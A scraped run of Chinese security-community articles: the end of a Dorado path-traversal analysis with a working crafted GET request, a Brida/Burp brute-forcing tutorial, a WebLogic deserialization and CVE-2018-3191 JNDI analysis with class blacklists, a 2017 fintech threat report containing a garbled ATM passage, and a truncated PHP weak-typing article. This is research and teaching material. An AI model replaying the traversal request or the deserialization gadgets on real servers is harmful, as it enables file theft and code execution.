} finally {
in.close();
}
return null;
}
public static Locale getLocale(String language, String country) {
String key = language + '_' + country;
Locale locale = (Locale) localeMap.get(key);
if (locale == null) {
locale = new Locale(language, country);
localeMap.put(key, locale);
}
return locale;
}
继续跟进：这时候locale应该是个null 如果url后面的country被构造以后
直接看byte[] ba = getConstByteArray(local); 关键的流程点
private byte[] getConstByteArray(Locale local) throws IOException {
byte[] ba = (byte[]) (byte[]) constMap.get(local);
if (ba == null) {
ResourceBundle bundle = ResourceManager.getInstance().getBundle(
"smartweb/v2/client", local);
ByteArrayOutputStream baos = new ByteArrayOutputStream();
OutputStreamWriter writer = new OutputStreamWriter(baos);
Enumeration keys = bundle.getKeys();
while (keys.hasMoreElements()) {
String key = (String) keys.nextElement();
String value = bundle.getString(key);
value = javascriptHelper.escapejavascript(value);
writer.write("var " + key + "=\"");
writer.write(value + "\";\n");
}
writer.close();
ba = baos.toByteArray();
constMap.put(local, ba);
}
return ba;
}
继续跟进这个里面的函数：
public ResourceBundle getBundle(String baseName, Locale locale) {
MultiKey multikey = new MultiKey(baseName, locale);
ResourceBundle bundle = null;
try {
if (this.cache != null) {
FileCacheWrapper wrapper = (FileCacheWrapper) this.cache
.getCachedValue(multikey);
if (wrapper != null) {
if (!(wrapper.isOvertime()))
bundle = (ResourceBundle) wrapper.getobject();
else {
this.cache.removeElement(multikey);
}
}
if (bundle == null) {
wrapper = createBundle(multikey);
bundle = (ResourceBundle) wrapper.getobject();
ElementWrapper element = this.cache.createElementWrapper(
multikey, wrapper);
this.cache.putElement(element);
跟进createBundle这个函数：
private FileCacheWrapper createBundle(MultiKey multikey) throws Exception {
FileCacheWrapper wrapper = null;
object[] keys = multikey.getKeys();
String baseName = (String) keys[0];
Locale locale = (Locale) keys[1];
FileLoader loader = FileLoaderFactory.createConfigLoader();
StringBuffer path = new StringBuffer();
path.append("i18n");
path.append("/" + baseName + "_" + locale.getLanguage() + "_"
+ locale.getCountry() + ".properties");
loader.setFile(path.toString());
if (!(loader.exists())) {
path = new StringBuffer();
path.append("i18n");
path.append("/" + baseName + ".properties");
loader.setFile(path.toString());
}
InputStream in = loader.getInputStream();
try {
ResourceBundle bundle = new PropertyResourceBundle(in);
wrapper = new FileCacheWrapper();
wrapper.setobject(bundle);
wrapper.setFileLoader(loader);
wrapper.setTimeout(Setting.getLong("i18n.cache.timeout"));
wrapper.setMinCheckInterval(Setting
.getLong("i18n.cache.minCheckInterval"));
} finally {
in.close();
}
return wrapper;
}
这里有个
public void setFile(String filepath) {
this.filepath = filepath;
doSetFile(filepath);
}
里面进行了路径的拼接，然后剩下的就是一个普通的文件读取操作
直接构造请求：
GET /sample/dorado/smartweb2.loadConst.d?language=zh&country=CN/../../../../../../../../../../../../../../aaacasdsd.txt%00 HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: UM_distinctid=15c78dfcc8237e-0b1ffc25c0572-1263684a-1fa400-15c78dfcc833c4; CNZZDATA80862620=cnzz_eid%3D145476687-1496676251-%26ntime%3D1496676251
X-Forwarded-For: 8.8.8.8
Connection: close
Upgrade-Insecure-Requests: 1 | 社区文章 |
# Brida配合Burp模块
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
前一篇文章介绍了brida的安装及其基本的用法，这篇文章来讲一下brida如何更流畅地和burp联动起来。
## js编写
拿了一个app做测试，先简单定位到对应的加密函数。不放心可以先用frida测试一下，能否hook到数据，这里不演示了。
根据上篇文章的格式，写一个hook的脚本。
## 配置brida自定义plugin
到brida中的Custom plugin面板，简单配置下。
主要是在起作用的范围，以及hook的函数，处理的时机。
配置完后添加然后启用。
## repeater以及intruder测试
简单抓了一个涉及加密参数的包。
把他放到repeater中，修改对应的加密参数为明文。然后发送。打开brida插件的调试界面。
可以看到原始数据包中的明文，被加密函数处理后替换成密文发送了。
然后再在intruder中添加一些测试数据。
开始爆破就行了，日志中都是有的，这里不继续演示了。
## 总结
对brida的自定义插件功能进行了简单的研究与尝试，极大的简化了我们测试app工作，也更好的把hook和网络数据包联动了起来。
赶紧上手去挖自己的高危严重吧！ | 社区文章 |
# 从WebLogic看反序列化漏洞的利用与防御
##### 译文声明
本文是翻译文章，文章原作者 360 CERT，文章来源：cert.360.cn
原文地址：<https://cert.360.cn/report/detail?id=c8eed4b36fe8b19c585a1817b5f10b9e>
译文仅供参考，具体内容表达以及含义原文为准。
作者：k1n9@360 CERT
## 0x00 前言
上周出的 WebLogic 反序列漏洞，跟进分析的时候发现涉及到不少 Java 反序列化的知识，然后借这个机会把一些 Java
反序列化漏洞的利用与防御需要的知识点重新捋一遍，做了一些测试和调试后写成这份报告。文中若有错漏之处，欢迎指出。
## 0x01 Java 反序列化时序
Java 反序列化时序对于理解 Java 反序列化的利用或是防御都是必要的，例如有些 Gadget 为什么从 readObject
方法开始进行构造，为什么反序列化防御代码写在 resolveClass 方法中等。先写下三个相关的方法。
### 1.1 readObject
这个方法用于读取对象，这里要说的 readObject 跟很多同名的这个方法完全不是一回事的，注意下图中的方法描述符跟其它同名方法的区别。
java.io.ObjectInputStream
类的注释中有提到，要是想在序列化或者反序列化的过程中做些别的操作可以通过在类中实现这三个方法来实现。比如类 EvilObj 实现了这里的
readObject 方法（方法的描述符需要跟注释提到的一样）的话，在类 EvilObj 的反序列化过程就会调用到这个 readObject
方法，代码例子：
其调用栈如下
看下 readSerialData 方法，在读取序列化数据的时候做判断若是该类实现了 readObject 方法，则通过反射对该方法进行调用。
到这里就能明白为什么有些 Java 反序列化利用的构造是从这里 readObject 方法开始的，然后通过 readObject
中的代码一步一步去构造最终达成利用，这次的 CVE-2018-3191 就是很好的一个例子，后文会讲到 CVE-2018-3191 使用的
Gadget。当然这只是 Java 反序列化利用构造的其中一种方法，更多的可以参考 ysoserial 里的各种 Gadget 的构造。
### 1.2 resolveClass 和 resolveProxyClass
这两个方法都是在类 java.io.ObjectInputStream 中，resolveClass
用于根据类描述符返回相应的类，resolveProxyClass 用于返回实现了代理类描述符中所有接口的代理类。这两个类的功能使得它们可以被用于 Java
反序列的防御，比如在 resolveClass
方法中可以先对类名进行检测然后决定是否还要继续进行反序列化操作。如果想要在这两个方法中添加一些操作（比如前面提到的做反序列化防御），那处理数据流的类需要继承
java.io.ObjectInputStream ，然后重写下面对应的方法：
protected Class<?> resolveClass(ObjectStreamClass desc)
protected Class<?> resolveProxyClass(String[] interfaces)
这里需要避免混淆的一点是这两个方法是在处理数据流的类中重写，而不是在被反序列化的类中重写，代码例子：
其调用栈如下
同理 resolveProxyClass 的重写方式也是这样。这里要知道的一点是并非在 Java 的反序列化中都需要调用到这两个方法，看下调用栈前面的
readObject0 方法中的部分代码：
看 switch 代码块，假如序列化的是一个 String 对象，往里跟进去是用不到 resolveClass 或 resolveProxyClass
方法的。resolveProxyClass
方法也只是在反序列化代理对象时才会被调用。通过查看序列化数据结构非常有助于理解反序列化的整个流程，推荐一个用于查看序列化数据结构的工具：[SerializationDumper](https://github.com/NickstaDB/SerializationDumper)
### 1.3 反序列化时序
贴一张廖新喜师傅在“JSON反序列化之殇”议题中的反序列化利用时序图，用于从整体上看反序列化的流程。
普通对象和代理对象的反序列化走的流程是不一样的，可以看 readClassDesc 方法：
对应着前面时序图中实例化的那一步的不同流程。
### 1.4 小结
这一章主要是介绍了 Java
反序列化相关的三个方法，通过代码跟踪调试的方式来确定其在什么时候会被调用到，再结合反序列化的时序图就可以对反序列化的整个流程有一定的了解。其实去分析了下反序列化的时序主要是为了知道两点，第一个是反序列化的大体流程，第二个是有哪些方法在这流程中有被调用到，为了解
Java 反序列化的利用和防御做一些知识准备。
## 0x02 WebLogi T3 反序列化及其防御机制
T3 从 WebLogic 的启动到对消息进行序列化的调用栈（由下往上）：
at weblogic.rjvm.InboundMsgAbbrev.readObject(InboundMsgAbbrev.java:73)
at weblogic.rjvm.InboundMsgAbbrev.read(InboundMsgAbbrev.java:45)
at weblogic.rjvm.MsgAbbrevJVMConnection.readMsgAbbrevs(MsgAbbrevJVMConnection.java:283)
at weblogic.rjvm.MsgAbbrevInputStream.init(MsgAbbrevInputStream.java:214)
at weblogic.rjvm.MsgAbbrevJVMConnection.dispatch(MsgAbbrevJVMConnection.java:498)
at weblogic.rjvm.t3.MuxableSocketT3.dispatch(MuxableSocketT3.java:348)
at weblogic.socket.BaseAbstractMuxableSocket.dispatch(BaseAbstractMuxableSocket.java:394)
at weblogic.socket.SocketMuxer.readReadySocketOnce(SocketMuxer.java:960)
at weblogic.socket.SocketMuxer.readReadySocket(SocketMuxer.java:897)
at weblogic.socket.PosixSocketMuxer.processSockets(PosixSocketMuxer.java:130)
at weblogic.socket.SocketReaderRequest.run(SocketReaderRequest.java:29)
at weblogic.socket.SocketReaderRequest.execute(SocketReaderRequest.java:42)
at weblogic.kernel.ExecuteThread.execute(ExecuteThread.java:145)
at weblogic.kernel.ExecuteThread.run(ExecuteThread.java:117)
这里没有去分析 T3 协议的具体实现，抓了一下 stopWebLogic.sh 在执行过程中的数据包：
第一个是握手包，然后第二个包中就可以找到带有序列化数据了，包的前 4 个字节为包的长度。替换序列化数据那部分，然后做数据包重放就可以使得 T3
协议反序列化的数据为自己所构造的了。
### 2.1 WebLogic 的反序列化防御机制
从调用栈可以知道是在哪里做的反序列化，InboundMsgAbbrev 类的 readObject 方法：
留意下这里的 readObject 方法的描述符，跟前一章提的 readObject 方法描述符是不一样的，也就是说假如反序列化一个
InboundMsgAbbrev 对象，这里的 readObject 方法是不会被调用到的。这里的 readObject 只是在 T3
协议处理消息的代码流程中被使用到。
可以看到处理输入数据流的类为 ServerChannelInputStream，由前一小节知道输入流是可以被控制的，接下来就是实例化
ServerChannelInputStream 对象然后进行反序列化操作。先看下 ServerChannelInputStream 类：
ServerChannelInputStream 类的继承图：
可以得知 ServerChannelInputStream 类是继承了 ObjectInputstream 类的，并且重写了 resolveClass 和
resolveProxyClass 方法。由上一章的内容可以知道 ServerChannelInputStream
类中的这两个方法在对不同的序列化数据进行反序列化的时候会被调用到，这样就不难理解 WebLogic
为什么会选择在这两个方法中添加做过滤的代码了（其实之前出现的针对反序列化的防御方法也有这么做的，重写 ObjectInputstream 类中的
resolveClass 方法或者直接重写一个 ObjectInputstream）。
先说一下 resolveProxyClass 这个方法里为什么用代理的接口名字和 “java.rmi.registry.Registry” 进行对比，这个是
CVE-2017-3248 漏洞的补丁。CVE-2017-3248 漏洞的利用用到 JRMPClient 这个 Gadget，ysoserial 中的
JRMPClient 用到了动态代理，代理的接口就是
“java.rmi.registry.Registry”。针对这个就出现了不少的绕过方法，比如换一个接口
java.rmi.activation.Activator，或者直接不使用代理都是可以的。这里涉及到了 JRMPClient 这个 Gadget
的具体构造，但这不属于本文的内容，想了解这个的话建议去看 ysoserial 中具体是如何构造实现的。
resolveClass 方法中的 checkLegacyBlacklistIfNeeded 方法是用来针对类名和包名做过滤。
从 checkLegacyBlacklistIfNeeded 方法跟进去直到进入 WebLogicObjectInputFilter 类的
checkLegacyBlacklistIfNeeded 方法：
可以看到这里是在 Jre 自带的过滤（JEP290）不可用的情况下才会使用自身实现的方法进行过滤，如果检测到是在黑名单中会抛出异常 Unauthorized
deserialization attempt。看下 isBlacklistedLegacy 方法：
可以看到要是类名第一个字符为 [（在字段描述符中是数组）或是 primitiveTypes（一些基础数据类型）中的其中一个，是不会进行检测的。
检测的地方有两个，一个是类名，一个包名，只要其中一个出现在 LEGACY_BLACKLIST 中便会像前面看到的抛出异常。下面来看一下
LEGACY_BLACKLIST 的值是从哪里来的。
看 WebLogicObjectInputFilter 的一个初始化方法：
在 Jre 的过滤不可用的情况下会设置 LEGACY_BLACKLIST 的值，跟入 getLegacyBlacklist 方法：
值来自于 WebLogicFilterConfig 类的成员变量 BLACKLIST，BLACKLIST 的值由
constructLegacyBlacklist 方法生成：
这里的参数var1，var2 和 var3 对应着
也就是说还可以通过启动参数来控制是否添加黑名单，动态添加或删除一些黑名单。默认情况下的话黑名单就是来自 WebLogicFilterConfig 类中的
DEFAULT_BLACKLIST_PACKAGES 和 DEFAULT_BLACKLIST_CLASSES 了。
打了十月份补丁之后的黑名单如下：
private static final String[] DEFAULT_BLACKLIST_PACKAGES = new String[]{"org.apache.commons.collections.functors", "com.sun.org.apache.xalan.internal.xsltc.trax", "javassist", "java.rmi.activation", "sun.rmi.server"};
private static final String[] DEFAULT_BLACKLIST_CLASSES = new String[]{"org.codehaus.groovy.runtime.ConvertedClosure", "org.codehaus.groovy.runtime.ConversionHandler", "org.codehaus.groovy.runtime.MethodClosure", "org.springframework.transaction.support.AbstractPlatformTransactionManager", "java.rmi.server.UnicastRemoteObject", "java.rmi.server.RemoteObjectInvocationHandler", "com.bea.core.repackaged.springframework.transaction.support.AbstractPlatformTransactionManager", "java.rmi.server.RemoteObject"};
### 2.2 WebLogic 使用 JEP290 做的过滤
JEP290 是 Java9 新添加可以对序列化数据进行检测的一个特性。之后往下对 8u121，7u131 和 6u141
这几个版本也支持了。该特性可用于对序列化数据的最大字节数，深度，数组大小和引用数进行限制，当然还有对类的检测了。使用这个的方法可以为实现
ObjectInputFilter 接口（低版本的 JDK 只在 sun.misc 包中有这个类，Java9 以上在 java.io 包中，目前
Oracle 对 Java9 和 Java10 都停止支持了，最新为 Java11），然后重写 checkInput 方法来对序列化数据进行检测。高版本的
JDK 中 RMI 就有用到这个来做过滤，看下 WebLogic 是如何使用的，JDK 版本为 8u152。
WebLogic 是通过反射来获取到 java.io.ObjectInputFilter 或是 sun.misc.ObjectInputFilter
的各个方法的方式来实现一个 JreFilterApiProxy 对象：
determineJreFilterSupportLevel 方法：
后面的流程大抵如下，根据 DEFAULT_BLACKLIST_PACKAGES 和 DEFAULT_BLACKLIST_CLASSES 的值来给
WebLogicFilterConfig 对象中的成员变量 serialFilter 赋值，serialFilter 的值是作为 JEP290
对序列化数据进行检测的一个格式（里面包含需要做检测的默认值，用分号隔开。包名后面需要带星号，包名或者类名前面带感叹号的话表示黑名单，没有则表示白名单。这些在
ObjectInputFilter 这个接口的方法中都能看到）。接下来就是反射调用 setObjectInputFilter 方法将
serialFilter 的值赋给 ObjectInputStream 中的 serialFilter（假如 ObjectInputStream 对象中的
serialFilter 值为空是不会对序列化数据进行检测的）。看一下 WebLogic 设置好的 serialFilter：
再看 ObjectInputStream 这边，图的左下可以看到从反序列化到进入检测的调用栈：
跟入 checkInput 方法：
前面有些常规的检测，红圈部分是针对 serialFilter 里的格式进行检测的，这里用到了 Function<T, U> 接口和 lambda 语法。看下
ObjectInputFilter 接口中的内部类 Global 的代码块就能明白这里是咋做的检测了。
看到它是做的字符串对比（类名和包名）。再回到 ObjectInputStream 类中的 filterCheck 方法代码块的下面：
只要返回的状态是空或者 REJECTED 就直接会抛出异常结束反序列流程了。其它的返回状态只做一个日志记录。
### 2.3 小结
这一章中可以看到 WebLogic 针对反序列化的防御方法有两种，分别对应着 JEP290 不可用和可用的这两种情况。JEP290
这个的代码逻辑还是挺长的，所以在写分析的时候并没有把每一步的具体内容都写上。这两种方法都是用黑名单的方式来做的过滤，其实它们也不是不能做成白名单，个人觉得白名单的方式应该很容易影响程序的功能，因为
Java
中各种接口和类的封装导致搞不清在反序列化的时候会用到哪些接口或类，所以写代码的时候不好去确定这样一个白名单出来。目前来看这样的过滤方式只有说是在找到新的
Gadget 的情况下才能绕过，从另一个角度来看这样的过滤也使得这里会一直存在问题，只是问题还没被发现。
## 0x03 WebLogic 远程调试及10月补丁修复的漏洞
### 3.1 WebLogic 远程调试
修改 domain/bin/setDomainEnv.sh，设置 debugFlag 为true
这样启动的时候会监听 8453 作为调试端口，然后使用 Idea 之类的 IDE 建立一个远程调试的配置连接到该端口就可以。需要把 WebLogic 中
jar 包添加到项目中去。因为 WebLogic 没有源码，调试时的代码都是反编译得到的，所以有监控不到变量或者执行的位置跟代码行对不上的问题。
### 3.2 CVE-2018-3245
这个洞是 7 月份 CVE-2018-2893 的补丁还没有修复完善导致的绕过，涉及到 JRMPClient 这个 Gadget
的构造，具体可以参考[Weblogic JRMP反序列化漏洞回顾](https://xz.aliyun.com/t/2479)
这里提一点，黑名单中添加的类名不是直接序列化对象的类名而是它的父类类名能做到过滤效果的原因是在序列化数据中是会带上父类类名的。
### 3.3 CVE-2018-3191
这个 Gadget 不是新的，只是在 com.bea.core.repackaged.springframework 这个包里还有相关的类。
结合第一章提到的 readObject 这个 Gadget 是非常好理解的，只是还需要知道 JNDI 的利用方式才能完整实现利用。
com.bea.core.repackaged.springframework.transaction.jta.JtaTransactionManager
这个类在进行反序列化的时候会触发 JNDI 查询，结合针对 JNDI 的利用便可以做到代码执行的效果。
JtaTransactionManager 类的 readObject 方法：
进入 initUserTransactionAndTransactionManager 方法：
进入 lookupUserTransaction 方法再往下跟很快就可以看到 JDNI 的查询方法 lookup：
针对 JNDI 的一个利用前提便是 lookup 方法的参数可控，即 name 的值能被传入成一个 RMI 或者 LDAP
的绝对路径。从前面的代码可以知道这里的 name 的值来自于 JtaTransactionManager 类中的成员变量
transactionManagerName，因此只要设置 transactionManagerName 值为可控的 RMI 地址，然后将
JtaTransactionManager 对象序列化后通过 T3 协议传输给 WebLogic 便可以在 T3 协议对数据进行反序列化的时候完成利用。
利用演示：
因为是针对 JDNI 的利用，所以要想在默认的情况下进行利用需要 JDK 的版本小于 8u121 或者 7u131（因为高于这些版本默认情况下已经将
trustURLCodebase 的值设为 false，使得不能做远程类加载），同时服务器需要能够连接外网。
## 0x04 参考链接
1. [Combating Java Deserialization Vulnerabilities with Look-Ahead Object Input Streams (LAOIS)](https://www.nccgroup.trust/us/our-research/combating-java-deserialization-vulnerabilities-with-look-ahead-object-input-streams-laois/)
2. [Weblogic CVE-2018-3191分析](https://mp.weixin.qq.com/s/ebKHjpbQcszAy_vPocW0Sg) | 社区文章 |
# 2017金融科技安全分析报告
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
**完整报告下载：<https://pan.baidu.com/s/1s_OIh_S0NeA1j6D7-xQqtg> 密码: nlbl **
## 一、执行摘要
近年，依托云计算、大数据、人工智能、区块链等先进的计算机技术的发展，金融服务也趋于多样化、便利化、智能化。金融科技的出现频率正在高速增长，伴随其技术变革与创新加速，至今已经步入金融科技3.0
时代。但随着金融科技日渐成为金融产品的重要支撑手段，攻击者也在不断丰富其攻击目标和攻击手段，以图提升自身的攻击变现能力。金融科技安全从业者在传统的以脆弱点和检测点为核心的防护方案之外，更应从获利点出发，逆向分析，进而组织自身的防护体系。金融科技安全现状和安全趋势值得关注：
* 金融业务大幅云化，金融行业约60%的机构使用了各类云服务；
* 金融行业机构对安全事件处置时间滞后，20%的安全事件处置时间超过一周；
* 金融机构业务流程欠缺，只有9%采用了SDL开发；
* 信息安全不可忽视，3%的企业计划增加安全预算投入，但只有21%的企业打算扩招安全团队。
## 二、金融科技
从金融科技1.0到金融科技2.0，底层技术创新促使金融服务的方式发生变革，金融产品和业务模式不断变化。金融科技涉及领域广泛，应用场景多元。大数据、人工智能、区块链和云计算作为金融科技核心技术，使金融服务更加高效、智能，已在许多场景展露头角。
金融科技的应用场景
金融科技迅猛发展的同时也面临着越来越多的安全威胁，安全事件频发，对业务造成资金损失和极大的负面影响，关注金融安全将是金融科技3.0 时代的重中之重。
## 三、网络安全威胁介绍
众所周知，金融行业是我国网络安全重点行业之一，因其行业特殊性金融机构一直是网络犯罪的主要目标。
3 **.1 DDoS** **攻击**
2016 vs 2017各月份攻击次数和流量
2017 年同2016 年相比，攻击发生次数基本保持平稳，共计发生20.7 万次。但是从攻击总流量上来看有较为明显的波动，从年初到5
月份前后，攻击总流量有非常显著的增长，而5 月份之后攻击总流量回落至较为平稳的水平。与2016 年相比，2017 攻击仍然频繁，攻击总流量大幅上升。
DDoS攻击源设备类型
在2017 年的DDoS 攻击中，攻击源中IoT 设备的数量已经占据相当的比例，在或大或小规模的DDoS攻击中IoT 设备都有显著的占比，已经成为DDoS
网络环境中需要重点关注的一个类别。从网络总体态势来看，物联网迅猛发展的过程中必然伴随着安全技术的滞后，可预测IoT
设备的威胁治理会进一步提上日程，而作为最易实施的攻击类型之一，IoT 遭受DDoS 攻击的数量会进一步上涨。
**3.2** **网络勒索**
2017年相继发生“匿名者”、“无敌舰队”等网络勒索事件。现今，对互联网服务的勒索攻击已经成为一种网络攻击趋势，平均每天有4000
起勒索软件攻击，亚洲成为2017年遭到勒索软件攻击最多的地区。
**3.3** **僵尸网络**
据绿盟科技监测的数据显示，2017 年Botnet 活动仍然十分猖獗，尤其Q2 季度更是Botnet 活动的高发期。根据绿盟科技监控的僵尸网络C&C
攻击指令数据，在Botnet 活动最高峰时期，平均每天共发出5187次指令，单个C&C 每天发出的指令最高达114
次。全球受控主机的数量间歇性增长，2017年8月的数量环比月增长高达三倍之多。
僵尸网络受控主机增长率
另外，物联网设备在线时间长、数量规模大、用户普遍疏于升级和配置等因素使其成为僵尸网络的温床。在绿盟科技持续跟踪的Botnet 中，至少存在4%
的样本攻击目标为物联网设备。虽然Botnet 形式还是以Windows 平台的设备为主，但是近年来，随着IoT 设备、智能设备、移动设备的入网，针对IoT
或其他智能设备、移动设备的恶意样本也逐渐增多。
**3.4 APT** **攻击**
高级长期威胁（Advanced Persistent
Threat，APT），又称高级持续性威胁、先进持续性威胁等，是指隐匿而持久的电脑入侵过程，通常由某些人员精心策划，仅针对特定的目标。其通常是出于商业或政治动机，针对特定组织或国家，并要求在长时间内保持高隐蔽性。，在巨大的利益驱使下，金融行业成为攻击者的首选目标，2017年绿盟科技发现的境外APT-C1
组织就是利用“互金大盗”恶意软件攻击我国某互金平台，窃取平台数字资产就是典型针对金融行业新型业务所采取的APT 攻击事件。
## 四、数据安全威胁介绍
近年，大规模数据泄露事件激增，2017 年前11 个月的数据泄露事件数量已比2016 年全年总数量多出10%。
**4.1** **数据库漏洞与利用**
数据库勒索也是黑客攻击金融业的一种常见手段。许多数据库的读取接口直接暴露在互联网上，并且没有设置完整的访问控制策略，通过弱密码甚至空密码就可以直接获取数据库的控制权限。黑客由此获取数据库控制权，加密或破坏数据，以此要挟受害者支付赎金。针对勒索事件涉及到的数据库近三年的中危、高危漏洞进行统计后发现，MySQL的漏洞暴露最严重；而从增速方面看，除了MySQL，PostgreSQL在过去三年里的漏洞也有较快的增长。
中危、高危漏洞统计
**4.2** **内部人员数据倒卖**
根据Identity Theft Resource Center 和CyberScout 发布的报告，2017年全年有多达1500
起数据泄露事件发生，相比2016年发生的1093 起，增加37%。而美国运营商Verizon 发布数据泄露调查报告指出，已发生的数据泄露事件中，25%
由内部人员造成。金融行业作为信息泄露高发的行业，应完善敏感信息保护措施，加强内部管理，建立必要制度与控制机制。
数据泄露成因
**4.3** **云上数据窃取**
2017年中国私有云市场规模达预估已达425亿元左右，到2020 年市场规模将达到762.4
亿元。从由平安金融研究院和绿盟科技发起的《2017中国企业金融科技安全调查问卷》中，统计出我国金融行业约60%
的机构使用了云服务，大部分使用的是私有云，也有超过20%
的机构使用公有云或者混合云。金融行业使用云业务最关注的安全风险是数据及隐私保护、业务的访问权限控制。
企业使用云服务比例
## 五、业务安全威胁介绍
金融行业中，有83.5%的机构或企业都开展了互联网业务。企业、机构对业务面临的互联网风险，最关注以下三个方面：自身资产是否存在漏洞；自有资产开放高危端口与服务情况；是否存在信息泄露风险。结合金融行业业务发展现状，业务安全威胁重点梳理了Web
攻击、银行机构ATM 与SWIFT 攻击威胁、金融欺诈威胁、移动支付威胁、区块链安全威胁。
**5.1 Web** **攻击与代码缺陷**
Web 攻击是常见的攻击类型。根据绿盟科技防护数据统计，73.6% 的网站遭遇过不同程度的Web 类型的攻击，65.9%
的网站遭遇过利用特定程序漏洞进行的攻击。
遭受Web应用攻击的站点占比
Web攻击已成为基本攻击手段，也是各类攻击中相对容易实施的。在金融行业中，针对Web
服务器的攻击中，攻击次数最多的仍然是常规化攻击手段：SQL注入、XPATH
注入、跨站、路径穿越、命令注入等；这几类攻击的占比超过60%。从服务器类型上来看，在金融行业中Nginx、IIS、Tomcat
服务器是遭受攻击最为频繁的资产类型。针对特定的Web插件、服务器程序的攻击比例也相对较高，建议企业应该定期维护系统，升级相关的服务器应用。
Web类攻击类型细分
代码存在缺陷是Web 攻击事件逐年增加的主因。在金融行业的信息系统开发环节，仅有32.9% 的机构采用SDL
管理，而且调查显示，大部分安全管理工作集中在运维、上线、测试阶段，在需求、设计、编码阶段，对安全考虑十分欠缺。
**5.2** **业务欺诈**
随着消费金融的快速发展，各类金融机构都面临着一个严峻的问题：欺诈。在《2017/18 年度全球反欺诈及风险报告》中，中国有86% 的受访企业表示2017
年曾遭受欺诈，较全球平均值的84%
略高2个百分点。2017年第一季度，金融服务领域被拒绝的交易相较于2016年增长了40%，相关僵尸攻击增长幅度为180%；预计到2020年，在线支付欺诈将达256亿美元。
2017年各行业发生欺诈事件比例
**5.3 ATM** **与SWIFT** **攻击**
2017年，针对银行ATM设备的攻击有了新的变化，如利用红外插入式卡槽器展开网络攻击活动。黑客通过天线将窃取的死人数据传输到隐藏在ATM机外部的微型摄像头中，进而收集信用卡或借记卡数据，之后极有可能被用于伪造信用卡或借记卡以便获取用户资金。另外，多起SWIFT事件发生，如尼泊尔NIC亚洲银行，在事件中损失约500万美元。类似事件说明银行业金融机构对于反复发生的此类安全事件没有足够重视，且没有有效的控制措施。信息安全管理必须建立健全的安全管理体系和有经验的安全团队，才是降低风险的正确道路。
**5.4** **移动支付安全**
移动支付应用越来越广泛，而有关数据指出，59%的用户担心移动支付安全问题。移动支付安全存在的5 大风险是：随意扫码；删除手机应用APP
时不解除银行卡绑定；上网时如实填写各类支付信息；浏览有危险链接的短信或邮件；安装跳出来的不明文件。报告还指出，被调查者中，超过6
成被访者在使用手机时，存在上述不安全行为，对个人信息或支付账号安全产生威胁。因此，作为移动支付的使用者，需要时刻提高警惕，防范各种支付风险。
支付方式
**5.5** **区块链安全**
区块链是一种分布式网络交易记账系统。它具有的开放性、全球性的特点，保证了交易活动可以在任何时间、任何地点进行，突破了传统贸易在时间和空间上的限制。因此被认为在金融、征信、物联网、经济贸易、结算、资产管理等众多领域都拥有广泛的应用前景。2017
年，随着国务院把区块链技术列入在“十三五”规划 ，中国的加密货币市场总值也增长了30
倍。然而，在区块链不断得到研究、应用的同时，在技术层面和应用层面依旧存在一定的安全局限，在共识机制、私钥防盗等方面仍需提高安全意识和加强防范措施。日本加密交易所Coincheck今年年初发生加密货币被盗事件，有投资者指责Coincheck对安全措施有所忽视。
## 六、总结与展望
本报告结合最新的案例和丰富的情报源，以金融科技所面临的网络安全威胁、数据安全威胁和业务安全威胁作为切入点，直观地分析了各类威胁的现状及趋势，在分析DDoS、Web
类攻击和数据库漏洞利用等传统威胁的同时，更加着重对移动互联网、云计算、区块链等新技术所带来安全威胁进行分析。
金融科技安全风险的未来关注点将聚焦在监管合规新要求、内部安全培训、新技术应用风险、开发安全管控、新技术应用风险、开发安全管控、高危险网络攻击、数据安全六个方面。并且，金融科技的可持续发展必须注重安全建设，从安全意识教育、安全设备部署、安全服务引入、安全人才储备、安全预算等方面提升整体安全威力。
* **关于平安金融安全研究院**
由平安科技成立的业界首家综合性的金融安全研究及创新机构，以“聚焦金融、着力创新、引领行业、打造品牌”为指导方针，着力整合“政、产、学、研、金、介、用”的业界优秀资源，与国家、行业、高校、研究院所等强强联合，“一手抓创新，一手抓落地”，创造一个良好的金融安全创新环境和生态，为平安集团、行业、国家提供强有力的金融安全技术支撑，为金融机构在互联网、人工智能时代下的信息安全建设、业务安全风控、金融科技安全保障和国家金融安全作出科技贡献，形成可持续发展的独特学术研究优势、产品和服务，推动和引领我国在金融安全方面上的科学技术进步，打造金融安全品牌。
目前研究院下分6个研究领域：网络安全、数据及内容安全、系统安全、金融业务安全、金融安全标准和政策、医疗信息及应用安全。各个研究领域的骨干精英均来自知名院校、科学家团队、BAT、知名咨询公司、金融机构、国内顶尖安全公司等。 | 社区文章 |
作者：[锦行科技](http://mp.weixin.qq.com/s/2ULQj2risPKzskX32WRMeg "锦行科技")
#### 常见的弱类型问题
##### 类型转换问题
类型转换是无法避免的问题。例如需要将GET或者是POST的参数转换为int类型，或者是两个变量不匹配的时候，PHP会自动地进行变量转换。但是PHP是一个弱类型的语言，导致在进行类型转换的时候会存在很多意想不到的问题。
##### 数学运算
当php进行一些数学计算的时候
<?php
var_dump(0 == '0'); // true
var_dump(0 == 'abc'); // true
var_dump(0 === 'abc'); // false
var_dump(1 == '1abc'); // true
var_dump('1e0'=='1e2'); // false
var_dump('0.0'==0); // true
var_dump('0.0'==''); //false
//还有下面这样的
if(md5('s878926199a')==0){
echo 'true';
}
?>
因为md5('s878926199a')=0e545993274517709034328855841020就是0的n次方，所以还是等于0
但是要注意：
`"0e123456abc"=="0e1dddada"//false`
这种返回的是为假
##### 语句条件的松散判断
<?php
if (isset($_GET['which']))
{
$which = $_GET['which'];
switch ($which)
{
case 0:
case 1:
case 2:
require_once $which.'.php';
break;
}
}
?>
##### 函数的松散判断
<?php
if(strcmp('1a',1)){
echo 'test';
}
?>
<?php
var_dump(in_array("1a",
array(1,2,3)));
?>
In_array函数和array_search函数的问题可以在in_array函数后面加一个true选项，就能解决比如：
<?php
if(in_array("1a", array(1,2,3),true)){
echo 'true';
}
?>
md5()
$array1[] = array(
"foo" => "bar",
"bar" => "foo",
);
$array2 = array("foo", "bar",
"hello", "world");
var_dump(md5($array1)==
md5($array2));
//回显为true
##### 十六进制转换
